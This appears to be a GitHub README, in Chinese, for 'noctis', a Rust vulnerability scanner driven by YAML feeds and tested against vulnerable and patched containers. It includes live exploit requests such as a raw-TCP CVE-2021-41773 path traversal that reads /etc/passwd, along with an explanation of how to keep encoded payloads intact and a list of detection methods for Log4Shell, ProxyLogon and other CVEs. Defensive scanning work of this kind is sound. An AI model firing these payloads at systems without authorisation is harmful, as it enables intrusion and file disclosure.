fDarkShadow/noctis

GitHub: fDarkShadow/noctis

一款 Rust 实现的 YAML 驱动黑盒漏洞扫描器,支持 CVE 检测、配置审计、OOB 盲打及可复现的端到端测试验证。

Stars: 0 | Forks: 0

# noctis 由 YAML 驱动的 Rust 漏洞扫描器。作为轻量级的 OpenVAS 替代方案,提供可复现的测试、Podman 隔离以及 REST API。 ## 核心概念 - **独立的 YAML feed** — 每个 CVE 或配置错误对应一个文件,无共享缓存 - **基于服务的扫描** — feed 声明它们所针对的服务(`http`、`https`、`ssh`…),引擎将它们映射到由 nmap 发现的端口 - **分级置信度** — 每个发现都有一个逐步构建的 0–1 置信度分数(兼容 OpenVAS QoD) - **原始 TCP** — `tcp_connect` 原样发送字节以处理编码的 payload(路径遍历、注入),绕过 HTTP 标准化 - **集成 OOB** — 用于盲检测的 HTTP 回调服务器(Log4Shell、SSRF、XXE) - **协议** — HTTP/HTTPS、原始 TCP、TLS、SSH - **可复现的测试** — Ansible + rootless Podman、动态端口分配、自动化的 TP/TN 断言 ## 环境要求 - Rust ≥ 1.75 - Ansible-core ≥ 2.15(仅用于 e2e 测试) - Podman ≥ 4.0(仅用于 e2e 测试) - [Task](https://taskfile.dev)(仅用于 e2e 测试) ## 安装说明 ``` git clone cd noctis cargo build --release # 二进制文件: target/release/noctis ``` ## 用法 ### CLI 模式(一次性扫描) ``` noctis scan \ --host \ --service http:80 \ --service https:443 \ --tests tests/cve/ # 单一 service,单一 feed noctis scan --host 10.0.0.1 --service ssh:22 --tests tests/cve/CVE-2023-48795.yaml # 详细级别 noctis -v scan ... # INFO noctis -vv scan ... # DEBUG ``` 标准输出为 JSON 格式: ``` { "id": "550e8400-...", "status": "completed", "target": "10.0.0.1", "findings": [ { "test_id": "a3c7f4e2-...", "cve": "CVE-2021-41773", "severity": "critical", "confidence": 0.95, "qod": 75, "evidence": "LFI confirmed — /etc/passwd via path traversal" } ], "error": null } ``` 执行错误时退出码为 `1`,其他情况为 `0`(即使有发现结果)。 ### Daemon 模式(REST API) ``` noctis serve --host 0.0.0.0 --port 8080 # 使用 OOB server 进行 blind detections noctis serve --oob --oob-host --oob-port 9090 ``` **Endpoint:** | 方法 | 路由 | 描述 | |--------|-------|-------------| | `GET` | `/health` | 健康检查 | | `POST` | `/scans` | 启动扫描 | | `GET` | `/scans` | 列出扫描任务 | | `GET` | `/scans/{id}` | 扫描状态 | | `DELETE` | `/scans/{id}` | 取消扫描 | | `GET` | `/scans/{id}/findings` | 扫描的发现结果 | **POST /scans 示例:** ``` { "host": "10.0.0.1", "services": [ { "port": 80, "service": "http", "protocol": "tcp" }, { "port": 443, "service": "https", "protocol": "tcp" } ], "tests": ["tests/cve/", "tests/misconfig/"], "concurrency": 5 } ``` ## YAML feed 格式 ### 完整结构 ``` uid: a3c7f4e2-1b9d-4f6a-8e3c-2d5a0f1e9b4c # stable UUID v4 — never change name: "Apache httpd 2.4.49 Path Traversal / RCE (CVE-2021-41773)" type: cve # cve | misconfig cve: CVE-2021-41773 cvss: 9.8 severity: critical # info | low | medium | high | critical confidence_base: 0.30 # floor before any step runs tags: [apache, path-traversal, rce] services: [http, https] # nmap service names to target (empty = all) author: noctis version: "1.0.0" references: - "https://nvd.nist.gov/vuln/detail/CVE-2021-41773" steps: - id: probe action: tcp_connect port: "{{port}}" send: "GET /icons/.%2e/.%2e/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n" store_as: resp - id: match action: match source: resp.banner pattern: "root:[x*!]:0:0" on_match: finding: confidence_delta: 0.65 qod: 75 evidence: "LFI confirmed — /etc/passwd readable" stop: true ``` ### 服务 → 端口匹配 引擎会计算需要对每个 feed 运行哪些端口: - `services: []` → 在**所有**发现的端口上运行 - `services: [http]` → 仅在 nmap 服务为 `http` 的端口上运行 - `services: [https]` → 仅在 nmap 服务为 `https` 的端口上运行 `{{port}}` 会根据匹配的服务自动注入。**切勿在 `vars:` 中重新定义它。** ### 自动变量 | 变量 | 值 | |----------|-------| | `{{target_host}}` | 目标主机 | | `{{port}}` | 当前服务端口(由引擎注入) | | `{{scheme}}` | `http` 或 `https` — 根据匹配的服务名称派生 | | `{{oob_token}}` | 本次运行的唯一 UUID | | `{{oob_url}}` | 完整的 OOB 服务器 URL | | `{{oob_host}}` | OOB 服务器主机 | | `{{oob_port}}` | OOB 服务器端口 | | `{{oob_enabled}}` | 如果配置了 OOB 则为 `true`,否则为 `false` | ### 可用操作 | 操作 | 描述 | |--------|-------------| | `http_request` | 通过 reqwest 发起 HTTP/HTTPS 请求 | | `tcp_connect` | 原始 TCP socket + banner 抓取(无 URL 标准化) | | `tls_check` | TLS 检查 — 版本、密码套件、证书 | | `ssh_check` | SSH banner + 身份验证方法 | | `match` | 对上下文变量进行正则模式匹配 | | `script` | 任意 Rhai 脚本 | | `wait_oob` | 等待 OOB HTTP 回调 | | `set_var` | 在上下文中分配变量 | ### `tcp_connect` 与 `http_request` 的对比 **对于任何在路径中编码的 payload(路径遍历、`%2e`、`%2f` 等),请使用 `tcp_connect`**。 Reqwest 在发送前会对 URL 进行标准化:先将 `%2e` 转换为 `.`,然后解析 `../`,这会破坏漏洞利用过程。 `tcp_connect` 会原样发送字节。 ``` # 正确 — payload 保留 - action: tcp_connect send: "GET /cgi-bin/.%2e/.%2e/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n" store_as: resp # 结果 — 使用 .banner(而非 .data) - action: match source: resp.banner pattern: "root:.*:0:0" ``` ### 置信度级别(QoD) | QoD | 含义 | |-----|---------| | 50 | 常规检测(banner、版本) | | 70 | 特定的 banner 匹配 | | 75 | 功能性证明(LFI /etc/passwd、应用程序响应) | | 97 | 收到 OOB 回调,或确认的 RCE | | 100 | 具有已验证输出的完整漏洞利用 | ### 条件和 Rhai 脚本 ``` - id: conditional-step action: match source: resp.banner pattern: "Apache" condition: "resp_status >= 200 && resp_status < 300" on_match: condition: "resp_banner.len > 100" finding: confidence_delta: 0.20 ``` ### 循环 ``` steps: - id: probe-paths action: http_request path: "{{current_path}}" loop: over: [/admin, /.git/config, /actuator/env] var: current_path store_as: resp on_success: condition: "resp_status == 200" finding: title: "Exposed path: {{current_path}}" confidence_delta: 0.10 ``` ## 可用的 feed | Feed | 产品 | 服务 | 检测方法 | |------|---------|----------|-----------------| | `CVE-2014-6271.yaml` | GNU Bash (Shellshock) | http, https | `() {:;};` header 注入 + RCE 模式 | | `CVE-2017-9841.yaml` | PHPUnit | http, https | `eval-stdin.php` + MD5 RCE 证明 | | `CVE-2019-11510.yaml` | Pulse Connect Secure | http, https | `%2F` 路径遍历 + `/etc/passwd` | | `CVE-2021-26855.yaml` | Exchange ProxyLogon | http, https | SSRF cookie → `X-CalculatedBETarget` header | | `CVE-2021-41773.yaml` | Apache 2.4.49 | http, https | LFI `/icons/` + 通过 mod_cgi 的 RCE | | `CVE-2021-44228.yaml` | Log4j2 (Log4Shell) | http, https | 通过 `pom.properties` 获取版本(QoD 75)+ OOB JNDI(QoD 97,需要 `--oob`) | | `CVE-2022-1388.yaml` | F5 BIG-IP | http, https | iControl REST 身份验证绕过 | | `CVE-2022-26134.yaml` | Confluence | http, https | OGNL 注入 RCE | | `CVE-2023-48795.yaml` | SSH (Terrapin) | ssh | ChaCha20-Poly1305 协商 + banner | ## Feed 验证 `schemas/feed.schema.json` 为所有 YAML feed 提供 JSON Schema draft-07 验证和自动补全。Red Hat YAML 扩展会通过 `.vscode/settings.json` 自动识别它。 ``` # CLI 验证 npx ajv-cli validate -s schemas/feed.schema.json -d "tests/cve/*.yaml" --spec=draft7 --allow-union-types ``` ## 测试基础设施(infra/) 可复现的端到端测试:Podman 容器(漏洞环境 + 已修复环境)、动态端口、自动断言。 ### 命令 ``` cd infra # 构建本地镜像(proprietary mocks) task build # 测试单个 CVE(TP + TN) task test CVE=CVE-2021-41773 # 顺序测试所有 CVE task test-all # 检查前提条件 task check-deps ``` ### CVE 测试结构 每个 CVE 包含: - `infra/inventories//hosts.yml` — 两台主机:`_vuln`(TP)和 `_patched`(TN) - `infra/playbooks/.yml` — 委托给 `common_docker` 角色的 playbook - `infra/docker//Dockerfile.vuln` + `Dockerfile.patched` — 镜像 `common_docker` 角色: 1. 动态分配空闲端口(Python socket) 2. 启动容器 3. 等待服务响应 4. 运行 `noctis scan --service :` 5. 检查发现结果数量(断言 TP 或 TN) 6. 销毁并清理容器 ### Inventory 模板 ``` # infra/inventories/CVE-XXXX-XXXXX/hosts.yml all: children: cve_xxxx: hosts: app_vuln: ansible_host: localhost ansible_connection: local target_host: "127.0.0.1" target_service: http # nmap service — must match the feed container_name: noctis_cve_xxxx_vuln docker_image: "noctis/app-cve-xxxx:vuln" expected_result: vulnerable # feed MUST produce a finding app_vuln_https: ansible_host: localhost ansible_connection: local target_host: "127.0.0.1" target_service: https container_port: 443 # container port to map (HTTP uses 80 by default) container_name: noctis_cve_xxxx_vuln_https docker_image: "noctis/app-cve-xxxx:vuln" expected_result: vulnerable app_patched: ansible_host: localhost ansible_connection: local target_host: "127.0.0.1" target_service: http container_name: noctis_cve_xxxx_patched docker_image: "noctis/app-cve-xxxx:patched" expected_result: clean # feed MUST NOT produce a finding app_patched_https: ansible_host: localhost ansible_connection: local target_host: "127.0.0.1" target_service: https container_port: 443 container_name: noctis_cve_xxxx_patched_https docker_image: "noctis/app-cve-xxxx:patched" expected_result: clean ``` **`target_port` 不得出现在 inventory 中** — 它是在每次运行时动态分配的。 `container_port` 默认为 `80`;对于 HTTPS 主机,请将其设置为 `443`。 ### 添加新的 CVE 1. `tests/cve/CVE-XXXX-XXXXX.yaml` — 包含稳定 UUID v4 uid 并设置了 `services:` 的 feed 2. `infra/inventories/CVE-XXXX-XXXXX/hosts.yml` — 两台没有 `target_port` 的主机 3. `infra/docker//Dockerfile.vuln` + `Dockerfile.patched`(或者用于专有设备的 Flask mock) 4. `infra/playbooks/CVE-XXXX-XXXXX.yml` — 复制现有的 playbook 5. `infra/site.yml` — 添加 `import_playbook: playbooks/CVE-XXXX-XXXXX.yml` 6. `infra/Taskfile.yml` — 将 CVE 添加到 `vars.INVENTORIES` 中
标签:REST API, Rust, 加密, 可视化界面, 插件系统, 漏洞扫描器, 系统提示词, 网络流量审计, 网络测绘, 通知系统, 黑盒测试